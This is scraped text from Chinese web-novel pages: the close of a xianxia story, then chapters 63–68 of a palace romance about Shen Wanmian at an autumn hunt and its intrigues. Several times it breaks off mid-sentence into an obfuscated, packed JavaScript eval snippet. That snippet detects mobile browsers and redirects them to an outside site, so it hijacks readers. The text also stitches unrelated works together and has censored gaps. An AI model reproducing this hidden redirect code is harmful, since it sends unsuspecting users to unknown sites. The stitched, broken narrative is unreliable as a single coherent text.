“跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被**出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第63章 表妹 他不是裴行止的军师吗，为何要靠科举进入官场？ “你做官是为了什么？” “为了挣银子啊。” 挣银子？挣银子不应该经商吗，为何要做官？ “做官俸禄很高吗？” “不高啊。” “那你为何要做官？” 季少渊不假思索道：“做贪官啊。” 好好好，这也算是某种意义上的有志向了。 “你表兄李言初，简直就是身在福中不知福，家里生意做得那么大，还非要跑大老远跑到京城当个什么五品官。” 虽然话是这么说，但上一世，季少渊还是很清廉的。 清廉到她想找他的茬，都找不出。 “反正你在官场的名声也臭了，不如你辞官吧，咱们联手做生意，怎么样？” 季少渊被她的话吓到。 “我，辞官？！我好不容易才走到今日，才不要。” “可你如今这官做得也没意思啊，整日就陪着两位公主胡闹，一点正务都不做。” “难道你……舍不得公主？” 季少渊像一只被踩住尾巴的猫，瞬间炸毛。 “别胡说，我没有！” 竟然真的被她猜对了！ 那让她猜猜，是哪位公主俘获了他的“芳心”？ 沈晚眠满脸八卦，她围着季少渊转了一圈。 “是六殿下活泼俏丽，让你沉醉其中？” 季少渊紧接着否定：“我不是，我没有。” 那位小祖宗，都快将他折腾**。 “那就是九殿下聪慧明艳，你陷进去了。” 沈晚眠紧紧盯着他的脸，不错过任何一个表情。 果然，他心虚了！ “没有，我怎么配得上九殿下。” 连他自己都没察觉，他说这句话时神情不自觉低落。 果真如此！ 不过六公主还好说，她心思单纯，对季少渊的喜欢应该不是装出来的。 可九公主…… 先不说她随时有可能被陛下送去和亲。 再者，她觉得九公主对他的在意是装出来的。 或许她早就察觉，陛下想送她和亲。 所以故意和六公主抢同一个男人，还将此事闹得沸沸扬扬。 看来这是段三角虐恋。 沈晚眠拍拍他的肩膀。 “我的话你好好考虑考虑。” 她刚回到座位，就看到有护卫匆忙来报。 “陛下，大王，不好了！王女不见了！” 此话一出，呼延山悟瞬间从座位上站起。 “你说什么？！王女怎么会不见！” 护卫吓得瘫软在地上。 “王女……王女她看中了一只猎物，去追的路上突然就消失了，属下找了好久，都没找到……” 皇帝见呼延山悟如此心急，赶紧安慰道：“呼延老弟，别急，御林军何在？” 数百名御林军鱼贯而入。 “全力寻找王女，一有消息立马来报！” 呼延山悟急得不行，他就这么一个女儿。 从小捧在手心里长大，若是有个三长两短，他怎么向他死去的王后交代。 现场的气氛变得压抑，其他人都陆续而归，唯独不见呼延婷的身影。 呼延山悟异常焦灼，若不是大齐的皇帝还在，他都想亲自去找人。 隐藏在人群中的沈晚眠，突然发现，裴卿尘怎么也不见了？ 难道…… 不知过了多久，太阳都要落山。 远处突然出现两个依偎在一起的身影。 呼延婷坐在前面，脸上的红晕还未散去。 她身后的裴卿尘牵着缰绳，驱赶着马儿缓步向前。 两人竟共乘一匹马！ “父王，让您担心了，女儿的马突然受惊，是四殿下将女儿解救出来。” 呼延山悟见到女儿终于出现，赶紧上前关心。 “没受伤吧，没吓着吧。” 呼延婷有些不好意思。 “我没事，父王。” 皇帝打圆场道：“回来就好，你父王刚才急的都要亲自去找你了。” “今日各位都累了，便早些回去歇着吧。” 秋猎一共有三场，今日只是开场，过几日还有中场和后场。 沈晚眠做好茶点，正要给萧贵妃送去，却被裴宴拦下。 “你干什么！” “宣妃在里面，你等一会儿再进。” 本以为他又要发疯，知道自己误会了他，沈晚眠的脸色稍有缓解。 隐约中，她好像听到宣妃在抱怨呼延婷哪哪哪不好，四皇子绝对不能娶她。 二人在帐外站了许久，也不见宣妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你管我是谁家的，你既说错了话，就要道歉。” 居然还想让她道歉！ 她从小到大，只给表兄道过歉，她算什么东西？！ “不是你……” 砰！ 卢珊珊话还没说完，便眼前一黑晕了过去。 看着倒在地上的卢珊珊。 沈晚眠都惊呆了。 “你……你这是做什么！？你打她干吗？” 第64章 找茬 裴行止一脸无辜。 “你打不过她，她力气比你大。” 沈晚眠几乎要被他整崩溃。 “所以，你是觉得，我俩会打起来是吗？” 他脑子里到底在想些什么？ 卢珊珊再怎么蛮横不讲理，也不会与她动手吧！ 好歹是大家闺秀。 “没有，我只是怕你受伤。” 说到底，不还是觉得她俩会打起来吗。 “行，行，我问你，我俩打起来，你帮谁？” 裴行止指着地上的表妹。 “不明显吗？” 这能一样吗？她们还没打起来啊。 “我说的是，如果我俩打起来之后，你帮谁？” “你提前把她打晕，是不是怕我俩打起来，你不知该帮谁，才从源头上避免这个问题？” 裴行止目瞪口呆。 她这不是，蛮不讲理吗。 “当然不是，我定会帮你啊。” 沈晚眠冷哼一声。 “说的比唱的好听，好好照顾你的表妹吧，别让她着凉了，殿！下！” 她就是故意找茬，她心里不得劲他也别想好过！ 目睹了这一切的沈汐和，下巴都要惊掉了。 这还是七兄吗，这还是那个清冷疏离，杀伐果决的高岭之花吗？ 莫不是被别的东西附了身？ 这沈二小姐，不过比寻常女娘机灵了些，长得貌美了些。 怎么就引得七兄六亲不认。 “沈二，你……给我七兄下药了？” 裴汐和实在想不通，一个人怎么会有如此大的反差。 “殿下真会开玩笑，我哪有这么大的能耐。” 你可太有了。 裴汐和在心底默默吐槽。 “但是吧，容我说句公道话，你也有表兄，况且我听季少渊说，你和你表兄比他们亲密多了，你不能只许州官放火不许百姓点灯啊。” 什么叫亲密多了，她表兄有喜欢的人，这能一样吗？ 而且之前她和裴行止又不熟。 今时不同往日，她才刚决定试着接受他。 就突然蹦出个表妹。 今日有卢珊珊，明日就有林珊珊**珊。 何况他又不是不知道，上一世她被裴宴和沈书玉坑的有多惨。 “季少渊啊，我看他似乎对殿下很是上心，不如殿下考虑考虑，与他假戏真做？” 裴汐和被她的话噎住。 “我说不过你，赶紧上马。” 这几个教她骑马的，还是裴汐和最靠谱。 之后几日，都是裴汐和在教她。 她回绝了萧贵妃的“好意”，又故意躲着裴行止。 裴舒妍又是个不着调的。 所以她和裴汐和阴差阳错变得熟络起来。 这天，裴汐和正像往常一样教沈晚眠。 突然，一个面生的小宫女急急忙忙而来。 “公主殿下，季公子有急事要见您，请随奴婢来。” 莫不是季少渊这厮开窍了？ 沈晚眠暧昧道：“殿下快去吧，别让季公子等急了。” 裴汐和白她一眼，没办法，人设得立住。 “走吧。” 裴汐和跟着小宫女离开了，空旷的草地上只剩沈晚眠一人。 她正欲上马，却被人从背后按住。 “你就是沈家那个不受宠的女儿，沈晚眠。” 卢珊珊气势汹汹而来，一来便让人将沈晚眠压住。 “卢小姐，你这是什么意思？” 好歹她也是沈家的嫡女，她怎么能这样对她。 “听说你在为萧贵妃做事，既然如此，你为何要勾引我表兄？” 明明眼前已经有了太子，还非要沾花惹草，真是个不要脸的小**。 “来人将她的手，给本小姐绑起来。” 压着她的两个丫鬟，不知从哪里抽出一段麻绳。 将她的手绑在了……前面？ 寻常绑人不都是绑在背后吗？ 看来这位卢小姐和沈书玉是一个级别的了。 两个丫鬟绑完她后，又从后面挟持住她。 卢珊珊拿出一把锋利的刀，在她腹间比划。 “上次是你，把我打晕的吧。” 沈晚眠都对她无语了，她是没长脑子还是没长眼睛。 当时二人面对面，她是被人从背后袭击的，怎么可能是她打的？ “上次打你的，是你表兄，希望你不要将气撒在我身上，这与我无关。” 在卢珊珊看来，她说的一切都是在狡辩。 “还想陷害我表兄，你以为我会听你的。” “今日我就让你知道， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴行止只当她说的是气话。 “我与她真的没什么，昭昭，我希望你能对我多些信任。” 沈晚眠没说话，她心里乱得很。 她不知该如何回应他。 “我要练马，你走吧。” 裴行止没说话也没动，就这么静静的看着她。 她被他看得心烦意乱。 就在她忍不住再次开口赶人时。 裴行止说话了：“好，那我走了，你自己小心。” 她没有心情继续练马，索性席地而坐。 对着远方发呆。 他什么时候喜欢上的自己？ 自己呢，对他动心了吗？ 她能对他动心吗？ …… 日子过得飞快，转眼间就到了秋猎的尾声。 也到了她与呼延婷比赛的日子。 “没事儿的，放平心态，安全最重要。” 此刻，裴汐和觉得自己像送孩子去科举的家长一般。 沈晚眠知道自己几斤几两。 她不过才学半月，怎么能跟从小在草原长大的呼延婷相比。 只希望自己不要输的太难看就好。 比赛开始前，呼延婷看到她选的不过是最普通的马匹看起来还蔫蔫的，而自己骑的却是上好的千里马。 便提出要和沈晚眠换马。 沈晚眠愣了一瞬，接着同意了。 二人将马匹交换，各自骑上对方的马。 随着一声令下，两匹马并肩冲了出去。 所有人都好奇，这场比试会是什么结局。 唯独裴卿尘和卢珊珊却焦急又心虚。 呼延婷胜券在握，不过片刻，便和沈晚眠拉开距离。 即将转弯之际，呼延婷的马突然长嘶一声，前蹄高高扬起。 呼延婷一惊，连忙抓紧缰绳，试图稳住身形。 那马却像中了邪一般，疯狂尥蹶子。 随后不受控制的狂奔向远方。 沈晚眠心头猛的一颤。 有人想害她！却阴差阳错被呼延婷挡了。 若是呼延婷有个三长两短。 自己恐怕要大难临头！ 几乎是瞬间，沈晚眠便夹紧马腹追了上去。 千里马的速度非常快，沈晚眠从来没有试过这种速度。 眼前的景物迅速**，她只能强忍住心中的恐惧。 一遍遍地告诉自己，要镇静。 原本还在看热闹的人都呆住了。 特别是卢珊珊。 她记得她下的药是让马萎靡不振，全身无力的啊。 怎么会…… 裴卿尘第一个反应过来，他迅速牵过一匹马，追了上去。 原本还狂奔不止的马突然慢下脚步。 很快便停在原地不动了。 呼延婷坐在马上，整个人都在风中凌乱。 她这是……脱离危险了？ 反应过来后，她赶紧从马上下来。 沈晚眠看着眼前的马突然停下，她也有些懵。 这到底是怎么回事？ 她放慢速度，在呼延婷的面前停下。 二人对视一眼，忍不住哈哈大笑起来。 好荒谬的事。 “你觉得是谁要害你？” 呼延婷与沈晚眠并肩靠在树边。 两个劫后余生的人，突然就为对方敞开了心扉。 “嗯……大概知道吧。” 呼延婷垂下眼眸，语气染上失落：“你觉得会是他吗？” “你既然问了，那你心里一定有答案了。” “你呢，知道他是这样的人，还喜欢他吗？” 沈晚眠能看出，她除了有些娇纵，其实是个很好的人。 她不忍心看她为了一个不值得的人，而陷入深渊。 呼延婷沉默了许久才回答她。 “那又如何，在我看来自己的心意才最重要，他是什么样的人与我无关。” “今日我心悦他，便可奋不顾身抛下一切，因为这是我想要的。” “若来日他伤害我，我觉得他不配我的喜欢，大可以拍拍屁股走人，反正脚长在我自己身上。” 沈晚眠被她的这番话震惊到。 她怎么会活得如此通透！ “阿婷，你没事吧？” 裴卿尘匆匆而来，脸上写满了急切懊悔。 一时间，沈晚眠竟分不清他是真心还是假意。 呼延婷笑的十分灿烂。 她站起身，转了一个圈。 “我没事啊，你看，连根头发丝都没掉呢。” 裴卿尘长舒一口气。 “没事就好，若你出事我……” 呼延婷用手捂住他的嘴。 “好啦，我这不是没事吗， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111306|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们回去吧。” 二人又共乘一匹马，呼延婷转身前，偷偷朝沈晚眠眨眼。 沈晚眠知道，她这是在拜托自己，不要将此事闹大。 她微笑点头。 如果不是呼延婷替她挡下一劫。 单凭她那点三脚猫功夫，肯定被摔的惨不忍睹。 其实她说的对，自己的心意最重要。 既然如此，那她不妨试着接受，试着尝试。 沈晚眠豁然开朗，压在心底的迷茫瞬间烟消云散。 她抬起头，看向天空，阳光洒在她的脸上。 她的整个世界都跟着明媚起来。 蓦的，两道拥挤的身影闯入她的视线。 裴行止与裴宴谁都不服谁，就这么挤着对方的马一路而来。 沈晚眠忍不住扶额，算了，她还是压抑着吧。 这件事终究还是闹到了皇帝和呼延山悟面前。 呼延山悟大怒，叫嚣着让皇帝彻查此事。 但呼延婷却极力阻止，还说自己没事，不用小题大做。 皇帝夹在他们父女二人中间，很是为难。 “此事说到底是冲着沈家的那个来的，不如朕将她叫过来，问问她有何意见。” 沈晚眠被皇帝叫来挡刀。 她立在中间，被三人围住。 “沈家的，今日多亏王女心善，才让你躲过这一劫，你可得好好感谢王女。” 沈晚眠向呼延婷和呼延山悟行了一礼。 “多谢王女，大王，今日这四恩臣女定会铭记于心，永不敢忘。” 呼延山悟疑惑道：“哪里来的四恩，此事又与本王何干呐？” 呼延王室，仅有一女，仅凭呼延山悟此次来中原只带了她。 便能看出她的地位。 上次呼延婷失踪，呼延山悟没有追究。 已经给足了皇帝面子。 今日这事他定然不会善罢甘休。 皇帝踢给她的，可是个烫手的山芋。 “王女第一日便提出想与臣女比试，因为臣女愚钝这才拖到了最后，王女肯留给臣女这么多时间，此为第一恩。” “比赛当日王女将自己的汗血宝马让于臣女，此为第二恩。” “因与臣女换马，王女替臣女遭了一罪，此为第三恩。” “事后王女不但不怪罪臣女，还怕臣女为难，不追究背后下手的人，此为第四恩。” 第66章 和亲 呼延山悟听到她这么说，脸色稍微缓和。 “王女之所以如此和善大方，皆是因为大王教女有方，所以臣女还要感谢大王。” 呼延山悟对她的话很是受用，但也没被她带偏。 “你这张嘴倒是厉害，不过别以为靠这两句话就能蒙混过关，你说，这事要不要查。” 如果她敢说不查，估计呼延山悟不会轻易放过自己。 可她已经事先答应了呼延婷…… “如果今日是臣女骑了那马，自是没必要追究，可王女尊贵，这事哪能轻易揭过。” 呼延山悟得到了想要的答案，眉头瞬间舒展开。 “既如此，此事……” “王女既然替臣女挡了祸，此事不妨交由臣女去查，也算全了臣女报恩之心。” 皇帝正愁不知该让何人办此事。 此次秋猎，来的都是王公贵族。 不管凶手是谁，查出来都不好看。 既然她主动接下这差事，就让她自己了结吧。 “好，务必给王女一个交代。” 沈晚眠刚回到帐篷，呼延婷便气势汹汹而来。 “沈晚眠，你什么意思，不是说好了就此打住，刚才你在我爹和陛下面前，为何又反悔？” 她就知道，呼延婷会找上门。 “王女别急，你父亲的态度你也看见了，若我说不追究，他就该终究我了。” 呼延婷怒火更盛。 “所以，你就背弃对我的承诺？我真是看走眼了，竟将你当做可信赖之人。” 沈晚眠轻笑两声。 “王女果真是性情中人。” 呼延婷皱起眉头：“你什么意思？” “陛下将此事交由我调查，还说要还王女公道，那此事怎么查，查到后又怎么处置，王女当然可以自行决定。” 呼延婷明白过来，原来她是在打太极。 “你是说，咱们可以作假？” 果然真性情，说话都那么直白。 “眼下大王正在气头上，咱们不妨高高举起，将阵仗搞大些，让大王看到我的诚意。” “等大王消气后，此事便可轻轻放下。” 呼延婷眼前一亮；“妙啊，你还真有两下子。” 很快，她又变得有些不好意思。 “抱歉啊，刚才误会你了。” 沈晚眠微微一笑。 “无事，王女直率洒脱，我很喜欢与您相处。” 呼延婷也欣赏她的机智果断。 “咱们也算不打不相识，以后别王女王女的叫了，叫我阿婷就好。” 沈晚眠笑着应下：“好，阿婷。” “你可有小字？我听别人都唤你沈二，听着怪不舒服的。” “你可以叫我昭昭。” 呼延婷拍了拍她的肩膀。 “行，昭昭，以后咱们就是朋友了。” 呼延婷与她没聊几句，便被呼延山悟的人叫走了。 沈晚眠松了口气，这关算是过了。 上一世自己和裴宴帮了裴卿尘，他便没与呼延婷产生交集。 这次恐怕事情不会这么轻易结束。 呼延婷与裴卿尘，定然还会继续纠缠。 自己与呼延婷交好，百利而无一害。 只是不知，她会为裴卿尘做到哪一步。 几日后，“凶手”被捉拿归案。 原是一洒扫宫女嫉妒沈晚眠受贵妃娘娘宠爱，才给她的马下药，想让她当众出丑。 王女得知此消息，不等陛下发话，便送那人去了“西天”。 皇帝和呼延山悟得到消息时，宫女的“尸首”都被扔去乱葬岗了。 呼延婷动用私刑，先斩后奏，皇帝知道后也没责备她。 呼延山悟见好就收，毕竟呼延婷没受伤，还私**了宫人。 总不能一直揪着这件事不放。 这天夜里，皇帝又将众人聚在一起。 明日便要启程回京，今夜算是给这次秋猎画上句号。 晚宴热闹非凡，众人把酒言欢。 尤其是年轻一辈的郎君和女娘。 好不容易可以和异性同席，那些繁文缛节都被他们抛之脑后。 沈晚眠称自己不胜酒力，婉拒呼延婷的好意。 可呼延婷怎么会轻易放过她，追着她灌了一杯又一杯。 “沈昭昭，你不够义气！我都要走了，你还不陪我喝一杯。” 沈晚眠拿她没办法，只能哄着。 “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111307|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好，我喝还不行。” 酒过三巡，她实在“不胜酒力”，醉倒在桌子上。 呼延山悟借着“酒劲”，向皇帝提出请求。 “陛下，蒙国归顺大齐已久，不知咱们何时能成为真正的一家人。” 皇帝脸色一僵，不过片刻便又重展笑颜，只是笑意不似刚才那般真心。 “好说好说，宫中适龄皇子不少，不知老弟想让哪个做婿？” “陛下误会了，我是想……” “多谢阿父成全，女儿愿为两国交好做贡献，与大齐和亲。” 皇帝抢在呼延山悟开口前将此事应下。 “好，果虎父无犬女，不如明日王女随朕一同回京，提前适应往后的生活。” 呼延婷只要答应，被其父出言打断。 “陛下，阿婷这孩子从小骄纵惯了，哪里配得上各位皇子，不如……” “阿父怎得如此看轻女儿，阿婷愿同陛下回京，望陛下成全。” 呼延山悟本意是想向皇帝求娶公主。 却被自己女儿搅局。 若是真的让阿婷嫁到大齐，他再求娶，岂不乱了辈分。 “你退下！陛下，小女一时醉酒胡言，您切莫当真啊。” 皇帝怎会遂了呼延山悟的意。 嫁公主还是娶王女，明显第二个合适。 “诶，此言差矣，王女既毛遂自荐，必定有了心仪的郎君，老弟不妨成全了王女。” 呼延山悟挤出一抹勉强的笑。 “此事事关重大，还请陛下收回成命。” 皇帝十分“大度”道：“也好，朕给你一晚上的时间，好好与王女商议。” 全程偷听的沈晚眠忍不住在心中腹诽。 这女人刚才还说明日就要与她分别。 一转眼便要跟着去京城。 呼延山悟带着女儿告退，皇帝见状逼将宴席散了。 众人喝的东倒西歪，各自搀扶着离开。 沈晚眠趁乱，偷偷溜到暗处。 “这些银子你拿着，离开京城，找个地方好好生活。” 宫女收下银子，感激的朝她一拜。 “多谢沈二小姐成全，如果不是您，恐怕奴婢这一生都要被困在宫中。” 第67章 装醉 宫女年满二十五便可放出宫，可她得罪了管事姑姑。 “自愿”留在宫中劳作。 “从今日起，你不再是奴婢，记住了吗？” 若是被有心人察觉就麻烦了。 宫女点点头：“我记住了。” “快走吧，别被人发现了。” 将宫女送走，沈晚眠才松了一口气。 她转过身，却对上一双深邃的眼眸。 沈晚眠愣了一瞬，随即装醉道：“你是谁啊，我找不到回家的路了，你能带我回去吗？” “为什么不将真相坦白。” 裴行止不解，为何她要忍下此事。 沈晚眠继续装醉道：“你在说什么啊，我要回家，不跟你聊了。” 说完，她便做出一副醉酒的样子，摇摇晃晃的向前方走去。 裴行止抓住她的胳膊，将她的身子掰过，强迫她直视自己。 “卢珊珊和裴卿尘，他们二人都曾给你的马下药，你早就知道了吧。” 所以呢，他们二人一个是皇子，一个家族雄厚，势力庞大。 她一介废官之女，拿什么和他们抗衡。 “你干嘛啊，我要睡觉，快放开我。” 裴行止被她气笑。 “好，你喜欢装醉是吧。” 他将她禁锢在怀中，捏起她的下巴，直直亲了上去。 沈晚眠瞪大双眼，下一秒，一个结结实实的巴掌，落在了裴行止脸上。 “你发什么疯！” 被打的地方留下一片红印，裴行止却不以为意。 这才是她。 “他们想害你，你为何要替他们掩盖？” “你觉得你的父皇会为了我去惩罚自己的亲儿子，去得罪京城第一富商？” 裴行止反驳道：“可他们害了蒙国的王女。” 她该说他天真，还是说他蠢。 活了两辈子，他竟连这都看不明白。 “你的意思是，陛下会为了一场没得逞的阴谋，让蒙国和大齐皇族生隙？” 裴行止被她噎的说不出话。 他的确没想到这一层。 “再者，难道你希望你表妹落难？” 裴行止言辞恳切：“她既要害你，就该付出代价，既如此，那我便替你讨回公道。” “你可想过珍妃娘娘，你要大义灭亲，她夹在中间，你让她如何向娘家交代？” “不过是件小事，人家王女都不在意，你非要闹的满城风雨才肯罢休吗？” 裴行止一句话都说不出，好半天，他才开口。 “那你呢，你的委屈就不重要了吗？” 她要是连这点委屈都受不住，早就死在苏倩儿手下了。 “有些事情，不能只看表面，你觉得我受了委屈，想替我出头，可这样只会让我和他们的关系更恶劣，有了第一次，便会有无数次，除非你能彻底解决他们。” “可如今我替他们瞒下此事，甚至为他们善后，至少这段时日，可以相安无事。” “我这样做并不是不在意他们的恶行，而是君子报仇十年不晚。” 听完她的话，裴行止久久不能回神。 从前朝到后宫，还有两国相交。 她才十六岁，怎么会想到这么多！？ “对不起。” 是他太冲动了，只想着她受了委屈，要替她报仇。 却没想到会牵扯这么多。 “殿下不必向我道歉，是我亏欠殿下太多，大仇未报，我时刻不敢忘怀，之前的事，是我冒犯殿下了。” 裴行止心头一紧，她是想与自己划清界限吗？ “我可以等，无论你想做什么，我都支持你。” 沈晚眠终究不忍把话说绝。 她没回答，只朝他盈盈一拜。 随后转身离开。 或许，这就是他们最好的结局。 …… 呼延婷还是跟他们回京了。 不过皇帝并没立马下旨赐婚，而是让她先在宫里住着。 “一段时间没管，就是容易出旁枝，怎么，本宫的永和宫容不下你了？” 萧贵妃端坐主位，随意摆弄着盆里的花。 她拿起手边的剪刀，将多余的花枝剪掉。 她这哪里是在说花，分明是在警告自己。 秋猎的这些日子，她与裴行止走的太近。 “娘娘，臣女对您一片赤诚，绝无二心啊。” 萧贵妃半眯起眼，随手摘下一朵花。 “是吗？听说你与宸王情投意合，就差要私定终身。” 前些日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123734|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她实在是鬼迷心窍，在外面过得太舒心，竟忘记自己的处境。 “娘娘明鉴，臣女既然为娘娘做事，怎么敢与宸王殿下私定终身。” “定是有人嫉妒臣女，才故意散播谣言。” 萧贵妃对她的话半信半疑。 毕竟她也没亲眼见到她与裴行止在一起。 “如果本宫让你入东宫做侧妃，你可愿意？” 上一世她好歹还是个正妃，她怎么越混越差了。 “多谢娘娘好意，不过臣女先前已经发过誓，娘娘您是知道的啊。” 拒绝的这么干脆，只有两种原因。 第一，她并非欲擒故纵，真的没有勾引太子。 第二，她瞧不上侧妃，想做正妃。 “那你去做正妃，可好？” “臣女真的不敢高攀，太子殿下天人之姿，应与更好的女娘相配。” 萧贵妃见她真的没有此心，才放过了她。 “有件事情要交给你去办。” 看来对她的敲打结束了。 沈晚眠悄悄松了口气。 “宣妃提议，选些名门淑女进宫教导，你善中馈之术，本宫想推荐你去任一门课，你可愿意？” 宣妃对此事分外上心，她不想自己自己儿子娶他国女子做正妻。 只得趁皇帝没赐婚之前，快些为裴卿尘定下正妃。 萧贵妃在管家方面吃了大亏。 既然是要培养未来皇室宗妇，与其学那些乱七八糟的礼仪规矩，还不如学点有用的。 “娘娘，您太抬举臣女了，臣女恐怕……” 京城的名门闺秀哪个不是心比天高。 她不想给自己惹麻烦。 “刚才还说对本宫一片赤诚，这点小事都不愿做，不如收拾收拾东西出宫吧。” 沈晚眠知道，她不是说着玩的。 她刚进永和宫时，萧贵妃便让她身边的心腹跟着自己学管账。 眼下自己于她而言，已经没有那么重要。 这事她必须得应下了。 “娘娘息怒，臣女定不负娘娘所托，好好办这差事。” 萧贵妃喜欢聪明人，因为她们识趣，不用她多费口舌。 “你这几日好好准备准备，等确定好人选，本宫会提前通知你。” 第68章 挑拨 宣妃的动作很快，不过几日就将女娘们接入宫中。 八位来自不同世家的女娘被接入储秀宫。 此刻她们聚在正殿，三五个熟悉的人凑在一处。 你一言我一语的憧憬着未来。 她们心里都清楚，贵妃娘娘将她们叫来。 真正的目的是什么。 皇子们都到了娶妻的年纪。 她们这些人，有近乎一半的可能被看中，选做皇子妃。 “贵妃娘娘驾到。” 福公公尖细的嗓音从门外传来。 女娘们赶紧站成两排，恭敬的低下头。 萧贵妃被众人簇拥着坐上主位。 “贵妃娘娘万福金安。” 八位女娘齐齐行礼。 萧贵妃大致扫了一眼。 “起来吧。” “这满屋子的花团锦簇，竟叫本宫挑花了眼，你们哪一个，是江相家的**。” 